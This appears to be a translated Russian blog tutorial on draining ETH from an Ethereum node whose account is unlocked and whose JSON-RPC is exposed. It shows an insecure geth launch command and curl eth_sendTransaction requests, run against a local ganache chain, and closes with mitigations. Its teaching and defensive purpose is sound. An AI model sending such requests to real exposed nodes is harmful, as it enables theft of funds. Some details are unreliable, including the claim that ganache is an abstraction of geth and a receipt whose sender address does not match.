Взлом узла Ethereum

Что (на самом деле) происходит, когда вы отправляете транзакцию, описанную ниже, с помощью metamask? (Хорошо, эта транзакция была совершена до лондонского форка, но здесь это не имеет значения.)

{
  "from": "0x8900987a0654d979bB7cD8aaADd19Cf032B51D2e",
  "to": "0xAaBbCcDdEeFf00112233",
  "value": "2500000000000000000",
  "gas": 21000,
  "gasPrice": "50000000000",
  "nonce": 5
}

Эта транзакция отправлена в блокчейн, верно? Да, возможно, но вы пропустили несколько важных промежуточных шагов.

На самом деле, когда вы нажимаете “Отправить транзакцию” на “Metamask”. (или в любом другом кошельке) Ваша транзакция НАПРЯМУЮ не передается в блокчейн.

Вместо этого Metamask отправляет “RPC-узел” с запросом RPC, содержащим этот фрагмент JSON:

{
 "jsonrpc":"2.0",
    "method":"eth_sendTransaction",
    "params":[{
 "from": "0x95F1F945cA47387aA36f97b2F9bC59fcF3A3eE6a",
        "to": "0x92B934fC0d243FaF97d521b9AFCc0A5553F5dAa6",
        "value": "100000000000000000",
        "gas": "0x5208",
        "gasPrice": "0x989680",
        "nonce": "0x0"
 }],
 "id":1
}

Этот фрагмент JSON отправляется на узел RPC (по протоколу HTTP), по умолчанию на metamask узел от infura.

По сути, он запрашивает узел RPC для обработки и трансляции транзакции другим узлам Ethereum.

Здесь запрос RPC используется для связи с узлом RPC и запроса у него некоторых действий (например, получения последнего блока, получения баланса адреса или отправки транзакции)

Довольно легко проанализировать все 4 поля отправленного JSON.

  • “jsonrpc” → (версия jsonrpc) вот это ”2.0″
  • “method” → (что вы хотите сделать с этим узлом RPC), здесь это “отправка транзакции”
  • “params” → (), это транзакция, которая должна быть отправлена в формате JSON.
  • “id” → 1 (здесь не имеет значения)

После этого узел транслирует транзакции, отправленные на все остальные узлы в сети Ethereum.

Затем транзакция переносится в “mempool” на каждом узле и ожидает майнинга.

Но мы здесь не говорили о взломе? → Не волнуйтесь, это произойдет в ближайшее время. Но сначала изучите основы, иначе вы не поймете, о чем я говорю.

Как запустить узел JSON-RPC?

Можете ли вы создать свой собственный узел JSON-RPC?

Да, конечно! Вы можете сделать это с помощью geth, но это довольно сложно. (потому что есть много вариантов, и вам нужно освоить множество концепций)

Если вы хотите начать “быстро”, быстрее установить “ganache_cli”, который создаст тестовую частную цепочку блоков и “прикрепит” к ней узел RPC. Итак, давайте введем следующие команды:

  1. Установите ganache-cli
npm install -g ganache-cli

2. Запустите тестовую частную цепочку блоков плюс узел JSON-RPC и выделите 1000000000000000000000000000 wei на 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (адрес с закрытым ключом 8000 ….)

ganache-cli --account=0x8000000000000000000000000000000000000000000000000000000000000000,1000000000000000000000000000

Вот каким должен быть вывод команды:

Ganache CLI v6.12.2 (ganache-core: 2.13.2)

Available Accounts
==================
(0) 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 (1000000000 ETH)

Private Keys
==================
(0) 0x8000000000000000000000000000000000000000000000000000000000000000

Gas Price
==================
20000000000

Gas Limit
==================
6721975

Call Gas Limit
==================
9007199254740991

Listening on 127.0.0.1:8545

узел RPC прослушивает 127.0.0.1: 8545 (то есть через порт 8545 на нашем собственном компьютере)

3. Откройте новый терминал Windows (или Linux, если вы его используете) и введите следующую команду.

(Он отправляет RPC-запрос в формате JSON, чтобы получить баланс первого адреса в нашей частной цепочке блоков)

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBalance\",\"params\":[\"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\", \"latest\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

Вот каким должен быть ответ:

{"id":1,"jsonrpc":"2.0","result":"0x33b2e3c9fd0803ce8000000"}

Это показывает, что баланс 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 в wei отформатирован шестнадцатеричными числами. (В нашем блокчейне)

В чем проблема?

До этого момента не должно было возникнуть никаких проблем, верно?

Ну, нет.

С помощью ganache_cli (фактически это абстракция geth) вы обычно запускаете свой узел с РАЗБЛОКИРОВАННОЙ учетной записью. (для того, чтобы подписать все блоки и майнить их в сети PoA)

Но что происходит за кулисами после того, как вы разблокировали свою учетную запись?

После того, как вы введете свой пароль, geth удалит приватный ключ для подписи транзакций ”открытым текстом» в памяти geth. (где-то в оперативной памяти, чтобы быть коротким)

Помните, что мы используем ganache, который является просто geth с некоторыми абстракциями, такими как ввод этой команды.

geth --datadir data --networkid 1331 --http --allow-insecure-unlock --http.addr 0.0.0.0 --http.corsdomain "*" --http.vhosts "*" --unlock 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3 console

Но зачем нужна разблокированная учетная запись?

  • Обычно для транзакций майнинга.
  • Для подписи блоков в PoA-сети.
  • Для отправки транзакций.

Хорошо, но у кого есть доступ к памяти вашего компьютера или вашего VPS (если вы хотите поделиться своим частным блокчейном или своим частным узлом)? Хакерам необходимо, по крайней мере, войти в систему (например, используя SSH) и получить привилегии для сброса памяти Linux, что непросто.

У них нет паролей, и вряд ли есть уязвимость, которая позволит хакеру выполнять код от имени root на вашем VPS. (если только система не имеет очень плохой конфигурации)

Итак, вы в безопасности, верно?

Но может стать хуже?

В geth, если учетная запись разблокирована, вы можете сделать больше с этой учетной записью при вызове RPC.

Существует несколько десятков методов, которые вы можете запросить у узла RPC, вот несколько примеров, и вы, возможно, уже знаете их:

Эти методы используются metamask, например, для получения всей информации о вашем кошельке.

Фактически, в одной командной строке Windows я могу попросить узел RPC отправить все ETH разблокированной учетной записи на другую учетную запись. (не забудьте экранировать “ с помощью \, иначе это приведет к ошибке.)

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_sendTransaction\",\"params\":[{\"from\": \"0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3\",\"to\": \"0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D\",\"value\": \"0x38d7ea4c6800000\"}],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

{"id":1,"jsonrpc":"2.0","result":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4"}

Я использовал метод “eth_sendTransaction” с этими 3 параметрами :

  • from : 0xa71E43Be339F9791235641F457c1Ba2DA86b9Eb3
  • to : 0x1D245F0C3f7eF71d36B0Fd23cE40b4AA4a289a2D
  • value : 0x38d7ea4c6800000 (in hex)

Узел RPC обработал запрос и отправил ответ :

  • 0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4 (это хэш транзакции)

Обратите внимание, что я не подписал транзакцию закрытым ключом!!

Я могу сделать еще один вызов узлу, запрашивающий получение транзакции, учитывая хэш транзакции (с помощью eth_getTransactionReceipt) :

curl -X POST --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getTransactionReceipt\",\"params\":[\"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4\"],\"id\":1}" -H "Content-Type: application/json" http://localhost:8545

(Не забудьте изменить хэш транзакции, он не будет таким же, как у меня)

Вот результат:

{"id":1,"jsonrpc":"2.0","result":{"transactionHash":"0x5aa6cb2ade333fa655a95673e7027f8e5d2eb565879e80ac5c0903187f00d3c4","transactionIndex":"0x0","blockHash":"0xbbdd4c0e3a6b848891eef8a24941bdd37d5596a9090aa29f4683dac372abfca0","blockNumber":"0x8","from":"0x6166f7ee676a28afb4231145d9838539757b0b85","to":"0x1d245f0c3f7ef71d36b0fd23ce40b4aa4a289a2d","gasUsed":"0x5208","cumulativeGasUsed":"0x5208","contractAddress":null,"logs":[],"status":"0x1","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}}

Транзакция была обработана и средства переведены без владения закрытым ключом.

Потрясающе, правда?

Мы смогли украсть средства с адреса без закрытого ключа, но это не единственная опасность, также возможно подписывать транзакции с разблокированным адресом, не обладая закрытым ключом.

Как вы можете защитить свой узел от этого недостатка?

Есть несколько способов избежать этого недостатка.

  • Вы можете фильтровать весь трафик на своем сервере с помощью брандмауэра, чтобы удалить опасные методы (это рискованно, потому что почти всегда будет способ обойти)
  • Вы можете создать 2 узла для своего блокчейна, один с разблокированной учетной записью, который добывает новые блоки и недоступен для всего мира, плюс другой без разблокированной учетной записи и синхронизирующийся с первым узлом, но доступный извне для запроса транзакции.

Источник